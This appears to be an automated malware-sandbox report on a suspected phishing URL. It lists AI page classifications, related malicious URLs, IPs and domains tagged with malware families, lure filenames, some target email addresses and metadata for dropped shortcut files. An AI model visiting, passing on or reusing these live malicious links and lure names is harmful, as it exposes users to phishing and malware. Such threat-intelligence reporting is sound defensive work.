URL: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@pointloma.edu Model: Joe Sandbox AI	{ "contains_trigger_text": false, "trigger_text": "unknown", "prominent_button_name": "unknown", "text_input_field_labels": "unknown", "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://k8.komirath.ru/1jVVShGI/#M#Jtingramm@pointloma.edu Model: Joe Sandbox AI	{ "brands": [ "Cloudflare" ] }
	{ "brands": [ "Cloudflare" ] }
URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "contains_trigger_text": true, "trigger_text": "Sign in", "prominent_button_name": "Next", "text_input_field_labels": [ "Email, phone, or Skype" ], "pdf_icon_visible": false, "has_visible_captcha": false, "has_urgent_text": false, "has_visible_qrcode": false, "contains_chinese_text": false, "contains_fake_security_alerts": false }

URL: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2F Model: Joe Sandbox AI	{ "brands": [ "Microsoft" ] }
	{ "brands": [ "Microsoft" ] }

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
104.21.42.208	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse
	Condenast eCHECK- Payment Advice.html	Get hash	malicious	Unknown	Browse
	Sburkholder.pdf	Get hash	malicious	Unknown	Browse
	https://coggle.it/diagram/Z3zkZPAQxQkDOgmo/t/-/1f6434bfba7d8aab898b2531849681e8b0d7342489acbbff6b172f8658a09526	Get hash	malicious	Unknown	Browse
	https://t1.a.editions-legislatives.fr/r/?id=hfe20c57a%2C3602a3f1%2C7f94ba88&p1=//www.google.co.nz/url?q=k8pQvvqad5fe5yj7Y00xDjnlx9kIHvsdvds44vs4d4aAkImPuQvsdv44WtJjqJLi6stjtDz3yh&rct=tTPSrMOiaAkImPuQJnOIWtJjqJLi6stjtFX08pQvvq6xRvdsvsdvswqyicT&sa=t&url=amp/yesmotoring.com.sg/upthere/running/8mspbf71i0mf51h0zfhwhu2z/cGhpbC5sZXNzYXJkQG1vZHVsYS5jb20=&ago=212&ao=817&aca=-11&si=-11&ci=-11&pi=-11&ad=-11&sv1=-11&advt=-11&chnl=-11&vndr=1363&sz=539&u=eTLPPreWarranty%7CConsumer&red=http://www.lampsplus.com/?sourceid=eTLPPreWarranty&cm_mmc=TRA-EM-_-LP-_-eTLPPreWarranty-_-tlogo&counterid=tlogo	Get hash	malicious	HTMLPhisher	Browse
104.18.94.41	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse
	http://loginmicrosoftonline.Bdo.scoremasters.gr/cache/cdn?email=christian.wernli@bdo.ch	Get hash	malicious	Unknown	Browse
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse
	https://form.fillout.com/t/emEtLm993dus	Get hash	malicious	Unknown	Browse
	https://sacredartscommunications.com/	Get hash	malicious	HTMLPhisher	Browse
151.101.194.137	http://facebooksecurity.blogspot.dk/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	http://soporte-store.info/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://www.oodlesoftraffic.com/ec/JaneMarksHealth/1934/acmariix2/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.9.1.js
	http://facebooksecurity.blogspot.pe/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://tracker.club-os.com/campaign/click?qDomYmsgId=d738c6bd137e6a03157c6c728cbc659e734fc398&test=false&target=demsaenlinea.mx/jahn/00987667839933/utilities@affordablecare.com	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
151.101.130.137	http://mi-outlook-loggin.click/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://imaps-support.us/icloud2022-esp.php	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.11.3.min.js
	http://facebooksecurity.blogspot.ch/	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.min.js
	https://m.exactag.com/ai.aspx?tc=d9912543bc40b07205bbd26a23a8d2e6b6b4f9&url=http%253AING.shalominternationalministry.com/index.xml%23?email=amFtZXMubGVhZGJlYXRlckBsb2dpY2FsaXMuY29t	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-3.3.1.min.js
	http://site9613885.92.webydo.com/?v=1	Get hash	malicious	Unknown	Browse	code.jquery.com/jquery-1.7.2.min.js

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
cdnjs.cloudflare.com	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.17.25.14
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	104.17.24.14
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://form.fillout.com/t/emEtLm993dus	Get hash	malicious	Unknown	Browse	104.17.24.14
	http://www.jmclmedia.ph	Get hash	malicious	Unknown	Browse	104.17.25.14
	Invoice_R6GPN23V_TransactionSuccess.html.html	Get hash	malicious	HTMLPhisher	Browse	104.17.25.14
	https://email.analystratings.net/ls/click?upn=u001.WeKo-2BCuHku2kJmVIsYmGxteRO-2BqdkFdZns7E8OZ0trgZRhaAY0f4dRd5bGXo8w1-2B5SPZj6mt6bkINmYNA1f4blf-2F2qp6pSrdQgqdtKPVZlFfsGiBd9L9S-2BVNmfUTaZ-2Bp0zWbjdQ23pm6OHkVsvPYDi1myQ0pU4BHbfSebmhjQAIDDVMgAvG7Znw7Pr8RLFA8HEKUDF6j4JiiZ3slfATgGRu3-2BdlWbffHNdZW8UBc7QW6Nxd08b90zhz6-2FhInZrSp1J-2Fh9yU6gsolKI10c6pp1uA-2FrYRI2h9aMn65O5NvFrP-2Fc-2BjlCyvznYBIXNfkBGEguSmRbREbgogGbx0CjJc9kfZpcF-2F4T3W7floa7RxJ5-2BKjbFDYD7FnGxTCmOAt-2BDLn5J0y5KvJMT3qFWKyQo5DJ5ru0B7ksJyMiI6L18xz5XP2GRtxbC7dwfszL4xopys7uMk6wzOFXTrTU9jYi2ZvQxqCtOzUddy1WGVe8msfQF8x3k3Ejw4p6mGzrKR8wOZXnO3uVw5n8j0tNkc31-2F1y7FsWAGygTmAHNV4DJiUXG3-2Foq61jCXRLG1PMMCZ97ToDeMjE9XjfX-2Bb4NXrzqR3tgw-3D-3DwyWG_tUVFAbhJxF44ufbifaYzyYApcQooCC4WsuZoiwe419Oh5WFVYobMs1ROnIPWGGcLQ6-2Bsxhj60Ehn0XDEyVD6MCEZ1gioYU2lwgwkCuP2dHRX-2FYdZnQ31dEdwKW37GtXYj9HmZ1F0YrZWwSELmaO5K7noqwYAhu2QGcGqOtQYdjShoJMVTWOe6BTzZXQxib8Y6rd4SX-2BUwZMt-2BbgPIpal6PcS8i4PCSiFy8RF-2Ftt22Wpj713n23BIU6an4375YDP3	Get hash	malicious	Unknown	Browse	104.17.24.14
challenges.cloudflare.com	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.18.94.41
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	104.18.94.41
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	104.18.94.41
	http://loginmicrosoftonline.Bdo.scoremasters.gr/cache/cdn?email=christian.wernli@bdo.ch	Get hash	malicious	Unknown	Browse	104.18.94.41
	5b118cb6-e85d-926b-b917-b9317aeed46c.eml	Get hash	malicious	Unknown	Browse	104.18.95.41
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	104.18.94.41
	https://cdn.btmessage.com/	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
s-part-0017.t-0009.t-msedge.net	FGTFTj8GLM.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	30562134305434372.js	Get hash	malicious	Strela Downloader	Browse	13.107.246.45
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	13.107.246.45
	https://na4.docusign.net/Signing/EmailStart.aspx?a=ffa78034-d960-4bb3-b2a2-bb62a1fc4a65&etti=24&acct=86dab687-685e-40aa-af52-e5c3fc07b508&er=04714c6d-cc25-4a21-be91-01e1c43a5f3f	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	hCkkM0lH0P.exe	Get hash	malicious	AgentTesla	Browse	13.107.246.45
	RSLMZxqebl.exe	Get hash	malicious	FormBook	Browse	13.107.246.45
	nRNzqQOQwk.exe	Get hash	malicious	GuLoader	Browse	13.107.246.45
	PO-0005082025 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.45
	PO-0005082025 pdf.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.45
	Shipping Document.exe	Get hash	malicious	FormBook, PureLog Stealer	Browse	13.107.246.45
ecohomethings.net	Condenast eCHECK- Payment Advice.html	Get hash	malicious	Unknown	Browse	103.83.194.55
ecohomethings.net	Play_VM-NowAccountingAudiowav011.html	Get hash	malicious	Unknown	Browse	103.83.194.55
code.jquery.com	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.194.137
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	151.101.66.137
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	151.101.130.137
	5b118cb6-e85d-926b-b917-b9317aeed46c.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	AP_FTT_GENERAL FUND_Email_AmityRegionaltNo5 - 1009684_315100_N.pdf	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	Quarantined Messages(3).zip	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137
	https://pub-290e9228bc824ffb99ba933687a27ad7.r2.dev/repo.html	Get hash	malicious	HTMLPhisher	Browse	151.101.194.137

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
FASTLYUS	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	199.232.192.193
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.194.137
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.65.229
	https://samantacatering.com/	Get hash	malicious	Unknown	Browse	151.101.66.217
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	151.101.2.137
	5b118cb6-e85d-926b-b917-b9317aeed46c.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://www.axis.com/ftp/pub_soft/cam_srv/IPUtility/latest/AxisIPUtilitySetup.exe	Get hash	malicious	Unknown	Browse	151.101.1.117
FASTLYUS	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	199.232.192.193
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.194.137
	http://www.lpb.gov.lr	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	151.101.65.229
	https://samantacatering.com/	Get hash	malicious	Unknown	Browse	151.101.66.217
	https://sign.zoho.com/zsguest?locale=en&sign_id=234b4d535f4956237c699124bb06f6840075804affff79070f72fbd27ec4885c3a2ba06657b8a52338eb80052baee9f74c4e2e0e7f85c073df939f1ac4dff75f76c95d46ac2361c7b14335e4f12c5c5d49c49b1d2f4c838a&action_type=SIGN	Get hash	malicious	Unknown	Browse	151.101.1.229
	https://www.filemail.com/d/rxythqchkhluipl?skipreg=true	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://eu.jotform.com/app/250092704521347	Get hash	malicious	Unknown	Browse	151.101.2.137
	5b118cb6-e85d-926b-b917-b9317aeed46c.eml	Get hash	malicious	Unknown	Browse	151.101.2.137
	https://app.planable.io/review/0OPaw36t6M_k	Get hash	malicious	HTMLPhisher	Browse	151.101.2.137
	https://www.axis.com/ftp/pub_soft/cam_srv/IPUtility/latest/AxisIPUtilitySetup.exe	Get hash	malicious	Unknown	Browse	151.101.1.117
CLOUDFLARENETUS	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	104.17.203.31
	New Order-090125.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	4iDzhJBJVv.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	https://na4.docusign.net/Signing/EmailStart.aspx?a=ffa78034-d960-4bb3-b2a2-bb62a1fc4a65&etti=24&acct=86dab687-685e-40aa-af52-e5c3fc07b508&er=04714c6d-cc25-4a21-be91-01e1c43a5f3f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	DpTbBYeE7J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	ln5S7fIBkY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.18.86.42
	Setup.exe	Get hash	malicious	Unknown	Browse	1.1.1.1
CLOUDFLARENETUS	https://theleadking2435063.emlnk.com/lt.php?x=3DZy~GDHJaLL5a37-gxLhhGf13JRv_MkkPo2jHPMKXOh5XR.-Uy.xuO-2I2imNf	Get hash	malicious	Unknown	Browse	104.17.203.31
	New Order-090125.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	104.21.64.1
	4iDzhJBJVv.exe	Get hash	malicious	Snake Keylogger	Browse	104.21.96.1
	Mmm7GmDcR4.exe	Get hash	malicious	LummaC	Browse	104.21.56.70
	https://na4.docusign.net/Signing/EmailStart.aspx?a=ffa78034-d960-4bb3-b2a2-bb62a1fc4a65&etti=24&acct=86dab687-685e-40aa-af52-e5c3fc07b508&er=04714c6d-cc25-4a21-be91-01e1c43a5f3f	Get hash	malicious	HTMLPhisher	Browse	188.114.96.3
	DpTbBYeE7J.exe	Get hash	malicious	AgentTesla, PureLog Stealer	Browse	104.26.12.205
	RJKUWSGxej.exe	Get hash	malicious	AgentTesla, RedLine	Browse	104.26.13.205
	ln5S7fIBkY.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	104.21.112.1
	https://booking.extrantelabelason.com/	Get hash	malicious	CAPTCHA Scam ClickFix	Browse	104.18.86.42
	Setup.exe	Get hash	malicious	Unknown	Browse	1.1.1.1

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 14:33:11 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2677
Entropy (8bit):	3.9952192714834434
Encrypted:	false
SSDEEP:	48:8XHjdTT07Zs4H7QidAKZdA1JehwiZUklqehTy+3:83hcNSgy
MD5:	B51A80E0CAF2A752D086C764A975F170
SHA1:	45EFE203348239FD1FA5723D7415542EF16C12DE
SHA-256:	CE95C0F7B01B52C69401B0521773BD10F9CF358071FCEDF0D9B4C33770941C4B
SHA-512:	FE485F55DFACC285B5024B0C9A8869B908642124036D13AD19B65572F7EEC6DC06541C22A71E7B5581EB04EC6D411C44C155922213A9FE75C277FF5130F070A1
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....?G..tc......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ$\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ$\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ$\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ&\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 14:33:11 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2679
Entropy (8bit):	4.010900119460573
Encrypted:	false
SSDEEP:	48:8FjdTT07Zs4H7QidAKZdA10eh/iZUkAQkqehQy+2:8FhcN49Q5y
MD5:	7EC535279B40B0359BDED31E3CC147DD
SHA1:	150212AAD1B26A7B997E8F54B5C020C970678080
SHA-256:	FE51BDAE6201485AF83CC386D74C1948531AA5E003B6740763A86D1C180858AB
SHA-512:	CD007A372841809B7216549BF9B8995FD4C45991670A55BE75B007AD7223AF42735BDD45D5E991B2B476EC7A4C6E1A44347DC899F66A678B20562EF6134B82B6
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,....)...tc......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ$\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ$\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ$\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ&\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Oct 6 08:54:41 2023, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2693
Entropy (8bit):	4.02135082327389
Encrypted:	false
SSDEEP:	48:8ejdTT07ZjH7QidAKZdA14tIeh7sFiZUkmgqeh7suy+BX:8ehcHAnsy
MD5:	6AEFFE02836A0C482D9DF3DFE2396085
SHA1:	D5722AFE70154887E58F3FD1F2DB8AD9F8EE4567
SHA-256:	98E6BECA62BD60E01174E5F6D716DB5EC768BF9C2B7E758D512465F7E2133521
SHA-512:	E0A4BBE8EC9A5908EBDFB5CF9E44815B54BCB73FB94703A6C6B3CFEDA030B9C2CE5A70F0A9A4C144F22990B0BEC6AF51A2D7905DE60AF0541169673FB04F90B8
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,.....v. ;.......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ$\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ$\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ$\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VFW.N...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.*.C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 14:33:11 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	4.008569791392212
Encrypted:	false
SSDEEP:	48:8njdTT07Zs4H7QidAKZdA1behDiZUkwqehUy+R:8nhcNT2y
MD5:	98E6D5A1F1DA0F6FEAAF712A55A0FAC4
SHA1:	7D34DF08371096F7C97820D8FD6AFF0706070783
SHA-256:	47ED03907ED17CE612FF8187957EA2E76CABE3A2817222AFD38E8161D0DEDB97
SHA-512:	D1E916FF149BBF2AF0E606C07D11149C0035A2943888BDD0323DBB0CFF5615BBCDCD09A8A2096CA47AAF2E9E4600A166002C4A42A75016645F1E5ED08B33F999
Malicious:	false
Reputation:	low
Preview:	L..................F.@.. ...$+.,........tc......y... w......................1....P.O. .:i.....+00.../C:\.....................1.....FWoN..PROGRA~1..t......O.IZ.\|....B...............J.........P.r.o.g.r.a.m. .F.i.l.e.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.1.....T.1.....CW.V..Google..>......CW.VZ$\|....L.....................p+j.G.o.o.g.l.e.....T.1.....FW.N..Chrome..>......CW.VZ$\|....M......................W..C.h.r.o.m.e.....`.1.....FW.N..APPLIC~1..H......CW.VZ$\|...........................W..A.p.p.l.i.c.a.t.i.o.n.....n.2. w..BW. .CHROME~1.EXE..R......CW.VZ&\|...........................3.c.h.r.o.m.e._.p.r.o.x.y...e.x.e.......j...............-.......i...........d........C:\Program Files\Google\Chrome\Application\chrome_proxy.exe..S.....\.....\.....\.....\.....\.....\.....\.....\.....\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e._.p.r.o.x.y...e.x.e..C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.F

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has Working directory, Has command line arguments, Icon number=0, Archive, ctime=Tue Oct 3 09:48:42 2023, mtime=Fri Jan 10 14:33:11 2025, atime=Mon Oct 2 20:46:57 2023, length=1210144, window=hide
Category:	dropped
Size (bytes):	2681
Entropy (8bit):	3.9968813276770208
Encrypted:	false
SSDEEP:	48:8GjdTT07Zs4H7QidAKZdA1VehBiZUk1W1qehqy+C:8GhcND9Ky
MD5:	A1FA3EF43D09897F0A979DB070C2EB1E
SHA1:	5E74696308972F0362211A9DB9AD5947754C003A
SHA-256:	5E3B3AE610B01CA8BC94A584EF7A2FC532CFB27C35159764C33E38ABDF40B09C
SHA-512:	755DC715858C577D5BF9EBA8B709D0C3DFA0167271DCB2011DC53F3D339DBF2C985B7E5404B9B290F1E58AB263E25ED5D9479759BB2DEF34EEC98F87AE4C80D8
Malicious:	false
Reputation:	low
